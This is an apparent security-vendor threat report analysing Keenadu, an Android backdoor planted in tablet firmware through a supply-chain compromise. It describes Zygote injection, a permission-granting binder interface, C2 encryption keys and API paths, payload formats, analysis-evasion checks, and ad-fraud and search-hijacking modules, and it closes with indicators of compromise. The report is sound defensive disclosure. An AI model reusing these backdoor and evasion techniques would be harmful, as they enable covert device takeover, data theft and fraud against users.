❌

Reading view

Divide and conquer: how the new Keenadu backdoor exposed links between major Android botnets

In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.

This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.

Our findings can be summarized as follows:

  • We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
  • A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
  • We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
  • One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
  • In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
  • Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.

The complete Keenadu infection chain looks like this:

Full infection diagram

Full infection diagram

Kaspersky solutions detect the threats described below with the following verdicts:

HEUR:Backdoor.AndroidOS.Keenadu.*
HEUR:Trojan-Downloader.AndroidOS.Keenadu.*
HEUR:Trojan-Clicker.AndroidOS.Keenadu.*
HEUR:Trojan-Spy.AndroidOS.Keenadu.*
HEUR:Trojan.AndroidOS.Keenadu.*
HEUR:Trojan-Dropper.AndroidOS.Gegu.*

Malicious dropper in libandroid_runtime.so

At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:

Call to the suspicious function

Call to the suspicious function

The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where “ak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.

Payload decryption

Payload decryption

The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.

Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.

Launching system_server in Zygote

Launching system_server in Zygote

The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.

The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:

Keenadu backdoor execution flow

Keenadu backdoor execution flow

It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.

AKClient architecture

AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.

AKServer architecture

At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:

  • Grant any permission to an arbitrary app on the device.
  • Revoke any permission from an arbitrary app on the device.
  • Retrieve the device’s geolocation.
  • Exfiltrate device information.
Malicious interface for permission management and device data collection

Malicious interface for permission management and device data collection

Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:

  1. The encrypted address string is decoded using Base64.
  2. The resulting data, a gzip-compressed buffer, is then decompressed.
  3. The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".

After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:

  • m: the MD5 hash of the device IMEI
  • n: the network connection type (“w” for Wi-Fi, and “m” for mobile data)

The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.

How Keenadu compromised libandroid_runtime.so

After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.

User complaints regarding suspicious DNS queries

User complaints regarding suspicious DNS queries

The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:

  • 67.198.232[.]4
  • 67.198.232[.]187

The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.

To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparse code); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.

We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.

Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The “NFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.

During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.

Furthermore, we have found a static library, libVndxUtils.a (MD5: ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:

  • D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
  • D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.

The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.

Code snippet where the attacker inserted the malicious call

Code snippet where the attacker inserted the malicious call

According to our data, the malicious dependency was located within the firmware source code repository at the following paths:

  • vendor/mediatek/proprietary/external/libutils/arm/libVndxUtils.a
  • vendor/mediatek/proprietary/external/libutils/arm64/libVndxUtils.a

Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate “vndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.

Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.

Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.

Keenadu backdoor modules

As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.

The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.

Example of payload metadata

Example of payload metadata

Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):

struct KeenaduChunk {
    uint32_t size;
    uint8_t data[size];
} __packed;

struct KeenaduPayload {
    int32_t version;
    uint8_t padding[0x100];
    uint8_t salt[0x20];
    KeenaduChunk config;
    KeenaduChunk payload;
    KeenaduChunk signature;
} __packed;

After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".

The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.

{
    "stopMethod": "stop",
    "startMethod": "start",
    "pluginId": "com.ak.p.wp",
    "service": "1",
    "cn": "com.ak.p.d.MainApi",
    "m_uninit": "stop",
    "version": "3117",
    "clazzName": "com.ak.p.d.MainApi",
    "m_init": "start"
}

Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.

Keenadu loader

This module (MD5: 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:

  • com.amazon.mShop.android.shopping (Amazon)
  • com.zzkko (SHEIN)
  • com.einnovation.temu (Temu)

The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServer requests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.

Data collection via the plugin

Data collection via the plugin

In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.

Use of an installation session

Use of an installation session

Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.

User complaint on Reddit

User complaint on Reddit

Clicker loader

These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:

  • Wallpaper (com.android.wallpaper)
  • YouTube (com.google.android.youtube)
  • Facebook (com.facebook.katana)
  • Digital Wellbeing (com.google.android.apps.wellbeing)
  • System launcher (com.android.launcher3)

Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:

struct Payload {
    uint8_t magic[10]; // == "encrypttag"
    uint8_t keyLen;
    uint8_t xorKey[keyLen];
    uint8_t payload[];
} __packed;

The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.

Example of payload metadata

Example of payload metadata

In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.

Google Chrome module

This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.

Searching for the url_bar text element

Searching for the url_bar text element

If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.

Search engine hijacking

Search engine hijacking

It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.

Search engine hijacking upon selecting a browser-suggested option

Search engine hijacking upon selecting a browser-suggested option

The Nova (Phantom) clicker

The initial version of this module (MD5: f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.

Nova as the plugin name

Nova as the plugin name

It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.

Request to unload the Nova module

Request to unload the Nova module

Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:

  • The Nova clicker.
  • A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
  • The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.

Install monetization

A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.

Handler registration

Handler registration

Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.

Example of a monetization module configuration

Example of a monetization module configuration

When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.

App ad source information

App ad source information

For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.

Google Play module

Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.

Retrieving the advertising ID

Retrieving the advertising ID

Other Keenadu distribution vectors

During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.

System apps

According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5: d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.

Using the face recognition service in the System UI

Using the face recognition service in the System UI

Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.

Malicious call

Malicious call

The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.

Native methods defined by the library

Native methods defined by the library

This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.

In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5: 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.

We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5: d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.

Retrieving the configuration from the C2

Retrieving the configuration from the C2

Loading via other backdoors

While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5: f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:

  • com.androidextlib.sloth.api.IPServiceM
  • com.androidextlib.sloth.api.IPermissionsM

These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5: 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.

Payload decryption

Payload decryption

The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.

The path /terminal/client/register was previously documented in a HUMAN Security report

The path /terminal/client/register was previously documented in a HUMAN Security report

Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.

One of the binder interfaces used by Keenadu is defined in the payload

One of the binder interfaces used by Keenadu is defined in the payload

Modifications of popular apps

Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.

Google Play

Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.

Examples of infected apps in Google Play

Examples of infected apps in Google Play

Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.

The malicious service was launched only under specific conditions

The malicious service was launched only under specific conditions

The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected

After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.

In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5: 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.

BADBOX payload code used for stealing credentials from WhatsApp clients

BADBOX payload code used for stealing credentials from WhatsApp clients

The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".

Decrypted payload C2 addresses

Decrypted payload C2 addresses

After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5: caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.

BADBOX and Triada launched from the same entry point

BADBOX and Triada launched from the same entry point

These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.

Victims

According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.

Recommendations

Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.

If the libandroid_runtime.so library is infected

Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.

Review of an infected tablet complaining about noise

Review of an infected tablet complaining about noise

If you encounter the Keenadu backdoor, we recommend the following:

  • Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
  • If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
  • Until the firmware is replaced or updated, we recommend that you stop using the infected device.

If one of the system apps is infected

Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:

  1. Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
  2. Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.

If an infected app has been installed on the device

This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.

Conclusion

Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.

Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.

Indicators of compromise

Additional IoCs, technical details and a YARA rule for detecting Keenadu activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Malicious libandroid_runtime.so libraries
bccd56a6b6c9496ff1acd40628edd25e
c4c0e65a5c56038034555ec4a09d3a37
cb9f86c02f756fb9afdb2fe1ad0184ee
f59ad0c8e47228b603efc0ff790d4a0c
f9b740dd08df6c66009b27c618f1e086
02c4c7209b82bbed19b962fb61ad2de3
185220652fbbc266d4fdf3e668c26e59
36db58957342024f9bc1cdecf2f163d6
4964743c742bb899527017b8d06d4eaa
58f282540ab1bd5ccfb632ef0d273654
59aee75ece46962c4eb09de78edaa3fa
8d493346cb84fbbfdb5187ae046ab8d3
9d16a10031cddd222d26fcb5aa88a009
a191b683a9307276f0fc68a2a9253da1
65f290dd99f9113592fba90ea10cb9b3
68990fbc668b3d2cfbefed874bb24711
6d93fb8897bf94b62a56aca31961756a

Keenadu payloads
2922df6713f865c9cba3de1fe56849d7
3dae1f297098fa9d9d4ee0335f0aeed3
462a23bc22d06e5662d379b9011d89ff
4c4ca7a2a25dbe15a4a39c11cfef2fb2
5048406d8d0affa80c18f8b1d6d76e21
529632abf8246dfe555153de6ae2a9df
7ceccea499cfd3f9f9981104fc05bcbd
912bc4f756f18049b241934f62bfb06c
98ff5a3b5f2cdf2e8f58f96d70db2875
aa5bf06f0cc5a8a3400e90570fb081b0
ad60f46e724d88af6bcacb8c269ac3c1
dc3d454a7edb683bec75a6a1e28a4877
f0184f6955479d631ea4b1ea0f38a35d

System applications infected with Keenadu loader
07546413bdcb0e28eadead4e2b0db59d
0c1f61eeebc4176d533b4fc0a36b9d61
10d8e8765adb1cbe485cb7d7f4df21e4
11eaf02f41b9c93e9b3189aa39059419
19df24591b3d76ad3d0a6f548e608a43
1bfb3edb394d7c018e06ed31c7eea937
1c52e14095f23132719145cf24a2f9dc
21846f602bcabccb00de35d994f153c9
2419583128d7c75e9f0627614c2aa73f
28e6936302f2d290c2fec63ca647f8a6
382764921919868d810a5cf0391ea193
45bf58973111e00e378ee9b7b43b7d2d
56036c2490e63a3e55df4558f7ecf893
64947d3a929e1bb860bf748a15dba57c
